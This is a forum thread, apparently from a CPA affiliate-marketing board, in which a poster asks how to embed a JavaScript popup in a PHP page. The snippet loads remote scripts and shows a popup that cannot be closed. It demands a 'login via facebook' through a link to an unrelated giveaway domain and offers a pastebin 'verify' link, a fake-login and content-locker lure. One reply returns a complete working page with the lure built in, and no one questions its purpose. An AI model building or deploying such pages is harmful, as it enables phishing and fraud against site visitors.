How can I add text/js code to php file?
2014-11-17, 07:42 PM,
#1
here is the code
Code:
<!--FB Popup BlackMailCreation Starts-->
<link href='https://sites.google.com/site/blackmailcreation/home-1/fb-like-pop.css' rel='stylesheet' type='text/css'/>
<script src='https://sites.google.com/site/blackmailcreation/home-1/jquery.min.js'></script>
<script src='https://sites.google.com/site/blackmailcreation/home-1/fb-like-pop.js' type='text/javascript'></script>
<!--FB Popup BlackMailCreation Starts Ends-->
<script type='text/javascript'>
//_//<![CDATA[
$(document).ready(function() {
$('body').facebookTrafficPop( {
timeout: 00,
title: "Ooops! Please Login!",
message: '<center><a href="http://oscars.wowgiveaways.com/login/"><img src="https://www.apparent.me/images/connect-facebook-button.png" /></a></center></br> <center>To avoid abuse of our site we require users to login via facebook. Or you can click the button below to verify user in other ways.</center></br><center><a href="http://pastebin.com/M6fxa4Pi"><img src="https://i.imgur.com/ttZsNol.png" /></a></center>',
url: "",
'opacity': 0.5,
'advancedClose':false,
closeable: false
} );
});
//]]>
</script>

I want to add this to index.php file. How can I do that?
PHP file has <html> section. I tried to add the above script to <head> and <body> but it didn't work :(

Need help!
Reply
2014-11-23, 03:11 AM,
#2
The code needs to go in the head. Also there was no style to center the box.

Code:
<html>
<head>
<title>Verify</title>
<style>

body {
position: absolute;
top: 40%;
}

</style>
<!--FB Popup BlackMailCreation Starts-->
<link href='https://sites.google.com/site/blackmailcreation/home-1/fb-like-pop.css' rel='stylesheet' type='text/css'/>
<script src='https://sites.google.com/site/blackmailcreation/home-1/jquery.min.js'></script>
<script src='https://sites.google.com/site/blackmailcreation/home-1/fb-like-pop.js' type='text/javascript'></script>
<!--FB Popup BlackMailCreation Starts Ends-->
<script type='text/javascript'>
//_//<![CDATA[
$(document).ready(function() {
$('body').facebookTrafficPop( {
timeout: 00,
title: "Ooops! Please Login!",
message: '<center><a href="http://oscars.wowgiveaways.com/login/"><img src="https://www.apparent.me/images/connect-facebook-button.png" /></a></center></br> <center>To avoid abuse of our site we require users to login via facebook. Or you can click the button below to verify user in other ways.</center></br><center><a href="http://pastebin.com/M6fxa4Pi"><img src="https://i.imgur.com/ttZsNol.png" /></a></center>',
url: "",
'opacity': 0.5,
'advancedClose':false,
closeable: false
} );
});
//]]>
</script>
</head>
<body>
<!--Code Here-->
</body>
</html>
Reply
2014-11-23, 03:40 AM,
#3
check if there is code error if not it should work when you added in between the head tags
Reply
2014-11-24, 11:54 PM,
#4
Thread moved to the Elites HelpDesk.
Have a great day,
RW.
Reply


Possibly Related Threads...
Thread Author Replies Views Last Post
  How can i add members to a FB group? MarksWerb 1 113 2017-11-28, 12:46 AM
Last Post: hutiya
  in youtube game videos how to add game image and name in description vinit91 3 184 2017-10-06, 04:23 PM
Last Post: yesman
  Where to find content locker code on a pre designed landing page? Holyearnings 3 173 2017-09-13, 06:56 AM
Last Post: Holyearnings
  Adludum file locker link only displaying a white screen? gamertrial1 5 188 2017-08-17, 07:24 AM
Last Post: gamertrial1
  OGads captcha locker onclick code ? gamertrial1 1 208 2017-08-11, 10:04 AM
Last Post: lovecash





About Us | Contact Us | CPA Elites | Advertise | Stats | Staff Team

© 2013-2017 CPA Elites Ltd
Enhanced by MyBB and WallBB
Return to top